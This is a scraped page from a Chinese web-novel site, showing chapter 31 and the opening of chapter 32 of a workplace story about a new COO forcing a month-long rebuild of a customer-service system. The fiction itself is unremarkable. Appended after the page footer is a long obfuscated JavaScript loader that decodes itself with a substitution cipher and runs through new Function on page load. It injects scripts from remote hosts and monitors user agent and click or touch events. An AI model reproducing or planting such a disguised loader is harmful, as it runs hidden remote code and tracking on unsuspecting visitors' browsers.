首页
[切换至繁体版]
返回

第31章 空降COO的首次亮剑

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

身,整理了一下西装。
    时间很紧。
    但他有系统。
    有在天启七年积累的产品经验。
    还有被逼到绝境后,淬炼出来的决断力。
    够用了。
    3
    上午十一点,林辰准时出现在九楼大会议室。
    这是星河科技的高管周会,参加者包括CEO李铭、COO林辰、CTO张涛、CFO刘薇、销售副总裁陈明远,以及几个核心业务线的负责人。
    林辰进门时,会议室里的气氛明显不太对。李铭坐在主位,低头看文件,表情平静。陈明远坐在他左手边,脸色阴沉。其他人都正襟危坐,眼观鼻鼻观心。
    “林辰来了,坐。”李铭抬头,指了指右手边的空位。
    林辰坐下,助理小唐已经把投影接好,PPT首页显示在幕布上:《“星语”客服系统技术重构与产品升级规划》。
    “开始吧。”李铭说。
    林辰站起身,走到幕布旁,激光笔的红点落在标题上。
    “在汇报具体规划前,我先说一个结论。”他开门见山,“星河科技现在最大的问题,不是市场不够大,不是竞争对手太强,而是我们自己的核心产品,‘星语’客服系统,已经病入膏肓。”
    会议室里一片安静。
    陈明远冷笑了一声,但没说话。
    “我用上午的时间,看了‘星语’过去三年的所有数据。”林辰切换PPT,上面是三条陡峭下滑的曲线,“客户流失率,从三年前的5%上升到现在的18%。用户投诉率,从1.2%上升到4.7%。系统可用性,从99.9%下降到99.3%——别小看这0.6个点,对客服系统来说,这意味着每天有至少两小时不可用。”
    他又切了一页,是密密麻麻的技术问题清单。
    “而这些问题的根源,是技术债务。三年前设计的架构,已经撑不住现在的业务量。服务之间耦合严重,每次发版都像拆弹。数据库设计不合理,查询效率越来越低。监控系统形同虚设,出了问题要人工排查几小时。”
    他看向技术总监王海清:“王总监,我说得对吗?”
    王海清硬着头皮点头:“基本……属实。”
    “所以我的第一项决策是,”林辰看向李铭,“从今天起,‘星语’团队暂停所有新功能开发,集中所有力量,用一个月时间,还清技术债,重构系统架构。”
    “一个月?”CTO张涛皱眉,“这不可能。这么大的工程,至少三个月。”
    “给我最好的团队,最优先的资源,我可以做到。”林辰说,“具体方案在PPT后面,包括详细的里程碑、人员分工、风险评估。但前提是,公司必须全力支持,不能有任何干扰。”
    李铭手指在桌面上轻轻敲着,没有说话。
    “林总,”陈明远终于忍不住了,“你说的这些技术问题,可能存在。但企业要发展,不能总修修补补。‘智能外呼’项目是新的增长点,你说停就停,是不是太武断了?”
    “陈总,我问你一个问题。”林辰看向他,“如果现在‘星语’系统崩了,我们的客户会等我们修好吗?”
    陈明远一愣。
    “他们不会。”林辰自问自答,“他们会立刻切换到云图科技或者智创互联的系统。到时候,我们损失的不仅是现有客户,还有口碑,还有未来三年在这个行业的立足之地。基础不牢,地动山摇。这个道理,陈总应该比我懂。”
    “但你也不能全盘否定新项目——”
    “我没有全盘否定。”林辰打断他,“我只是说,在解决根本问题之前,所有新项目都必须让路。等‘星语’稳定了,架构清晰了,研发效率上来了,我们再谈扩张。否则,就是找死。”
    他说得很重。
    会议室里没人敢接话。
    所有人都看向李铭。
    这位四十出头的CEO,是星河科技的创始人,也是最终决策者。他沉默地看着幕布上的PPT,看了很久。
    然后他抬起头,看向林辰。
    “一个月,你确定能完成重构?”
    “确定。”林辰回答,“但我需要三样东西。第一,人事权——重构期间,‘星语’团队我说了算,可以调配公司任何技术人员。第二,财务权——五百万预算,专款专用,我签字就能动。第三,你的绝对信任——这一个月内,无论听到什么声音,遇到什么阻力,你必须站在我这边。”
    条件很苛刻。
    会议室里响起细微的吸气声。陈明远的脸色已经黑如锅底。
    李铭又沉默了一会儿。
    然后他笑了。
    “好。”他说,“我给你一个月。人事权、财务权,都给你。信任,我也给你。但林辰,一个月后,我要看到结果。如果‘星语’的系统稳定性、客户满意度、研发效率没有明显提升……”
    他没说完,但意思很清楚。
    “如果没做到,我辞职。”林辰说。
    会议室彻底安静了。
    连陈明远都瞪大了眼睛——这赌注,下得太大了。
    “散会。”李铭站起身,拍了拍林辰的肩膀,“好好干。”
    他率先走出会议室。其他人陆续起身,看林辰的眼神都变了——有佩服,有担忧,有幸灾乐祸,也有等着看好戏的。
    陈明远是最后一个走的。他走到林辰面前,压低声音:“林总,好手段。一个月……我倒要看看,你怎么变出花来。”
    “陈总拭目以待。”林辰平静地说。
    陈明远冷哼一声,摔门而去。
    会议室里只剩下林辰一个人。他关掉投影,收拾电脑,手指在触摸板上停留了几秒。
    系统界面在视野中展开:
    【支线任务:整顿技术团队,已正式激活】
    【时限:30天】
    【当前进度:0%】
    【新增临时权限:项目指挥模块(可实时监控团队工作状态、代码质量、进度风险)】
    林辰深吸一口气,又缓缓吐出。
    赌局已经开场。
    筹码已全部押上。
    现在,是时候亮出他的王牌了。
    4
    下午一点,林辰在“星语”项目组的办公区召开全体会议。
    八十多号人,把会议室挤得满满当当。技术、产品、测试、运维,所有相关岗位的人都来了。气氛压抑,很多人低着头,不敢看林辰。
    “各位,长话短说。”林辰站在白板前,没看稿子,“从今天起,未来三十天,‘星语’项目进入战时状态。目标只有一个:还清技术债,重构系统架构,把产品质量搞上去。”
    他在白板上写下几个大字:
    稳定性、效率、用户体验
    “具体怎么做,我分解成六个小组,每个组负责一个模块。”林辰开始在白板上画架构图,“架构重组组,王海清负责,主攻微服务解耦和API网关重构。数据优化组,李浩负责,解决数据库性能问题。监控告警组,张薇负责,建一套可用的监控体系。测试自动化组,陈静负责,把自动化测试覆盖率提到80%以上。用户体验组,产品经理小周负责,梳理现有交互问题,优化工作流。项目管理组,我亲自盯,每天同步进度,解决阻塞。”
    他写得很快,条理清晰。台下的人渐渐抬起头,眼神从茫然变得专注。
    “时间很紧,只有三十天。所以我要丑话说在前头。”林辰放下笔,目光扫过全场,“这三十天,没有周末,每天工作时间不低于十二小时。公司会提供三餐、加班补贴、临时住宿。有家庭特殊情况的,可以私下找我,我们单独协调。但原则上,我希望所有人全身心投入。”
    没人说话,但也没人反对。
    “我知道,很多人心里在想:凭什么?凭什么新官上任三把火,要烧到我们头上?凭什么陈总在的时候没这么多事,你一来就要折腾?”
    林辰停顿了一下,声音压低了些。
    “那我告诉你们凭什么。凭‘星语’的客户流失率已经到18%了。凭我们的系统每个月都要出几次严重故障。凭竞争对手的产品,功能比我们多,性能比我们好,价格还比我们低。再这么下去,不用半年,‘星语’就会死。这个项目死了,在座的各位,有一半人要失业。剩下的一半,简历上会多一段失败的项目经历,在下一份工作时,被压价,被质疑。”
    他说的很直白,很难听。
    但这就是现实。
    会议室里有人开始擦汗。
    “所以,这不是为我干,是为你们自己干。”林辰说,“三十天,我们一起,把‘星语’从ICU里抢救出来。救活了,项目有未来,大家有奖金,有晋升机会。救不活……”
    他没说完,但意思都懂。
    “现在,有谁要退出的,可以举手。我理解,不勉强。但留下的人,就必须跟我一条心,把事做成。”
    林辰看着台下。
    三秒钟,五秒钟,十秒钟。
    没人举手。
    “好。”林辰点头,“那我们就开始。各组长留一下,其他人散会,半小时后各小组开内部会,今晚十二点前,我要看到每个模块的详细执行计划。”
    人群散去,会议室里只剩下六个组长。
    林辰关上门,打开电脑,屏幕上出现一个实时看板——这是系统“项目指挥模块”的界面,可以监控每个人的代码提交、任务进度、工作状态。
    “从今天起,我们每天早九点、晚九点,两次站会。早会同步计划,晚会复盘进展。遇到任何问题,随时在群里@我,我十分钟内响应。”林辰说,“王总监,你那边最重,需要多少人?”
    王海清想了想:“架构重组至少要二十个熟手,但现在团队里能挑出来的,只有十二三个。”
    “从其他项目组抽,名单你定,我去协调。”
    (本章未完,请点击下一页继续阅读)第31章空降COO的首次亮剑(第2/2页)
    “好。”
    “李浩,数据库优化,最大的难点是什么?”
    “历史数据迁移。有上百亿条脏数据,迁移过程中不能停服。”
    “方案呢?”
    “我们计划用双写+增量迁移,但风险很大,一旦出问题,数据就乱了。”
    “做两套预案,A计划失败立刻切B计划。测试环境要完全模拟线上流量,压力测试至少做三轮。”
    “明白。”
    林辰一个个问过去,每个问题都切中要害,每个回应都有具体方案。六个组长从一开始的紧张,渐渐变得专注,最后甚至有些兴奋——这位新COO,是真的懂技术,懂管理,而且不废话,不甩锅。
    “最后一个问题。”林辰看着他们,“你们信我吗?”
    六个人对视一眼。
    王海清先开口:“林总,说实话,您上午在大会上跟陈总硬刚,我们都捏了把汗。但您敢赌上自己的职位,我们就敢跟着您干。至少,您是真想把事情做好。”
    其他人纷纷点头。
    “好。”林辰站起身,“那就一起,把这仗打赢。散会。”
    组长们离开后,林辰独自坐在会议室里,看着看板上开始跳动的数据。
    代码提交数:0→3→7→12……
    任务进度条:一个个从0%开始缓慢前进。
    工作状态:大部分人显示“专注”,少数几个“焦虑”。
    三十天倒计时,已经开始。
    他闭上眼睛,在脑海里调出系统技能树。AI架构设计(中级)的技能书还悬浮在那里,等待使用。但他不急着用——这个技能要用在关键时刻,用在最难啃的骨头上。
    现在,他需要让团队先动起来,让所有人看到改变的决心和行动。
    手机震动,是苏雨晴发来的微信:“第一天上班怎么样?”
    林辰回复:“刚开完会,接下来一个月会特别忙。晚上可能都回不了家,在公司附近租个酒店住。你跟爸妈说一声,别担心。”
    苏雨晴很快回:“好,你注意身体。家里有我。”
    林辰看着那四个字,心里一暖。
    他收起手机,走出会议室。办公区里已经忙碌起来,键盘声密集如雨,白板上画满了架构图,几个小组围在一起激烈讨论。
    战争的序幕,已经拉开。
    而他知道,这只是开始。
    真正的硬仗,还在后面。
    第32章七天重构奇迹
    1
    凌晨两点十七分,星河科技大厦二十八层。
    “星语”项目区的灯光还亮着八成。空气里弥漫着咖啡、泡面和长时间不通风的浑浊味道。白板上写满了潦草的架构图和待办事项,便利贴层层叠叠贴得到处都是,像某种抽象艺术。
    林辰站在办公区中央的可视化大屏前,屏幕上实时滚动着系统重构的各项指标:
    微服务解耦进度:42%
    数据库优化进度:38%
    监控告警
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();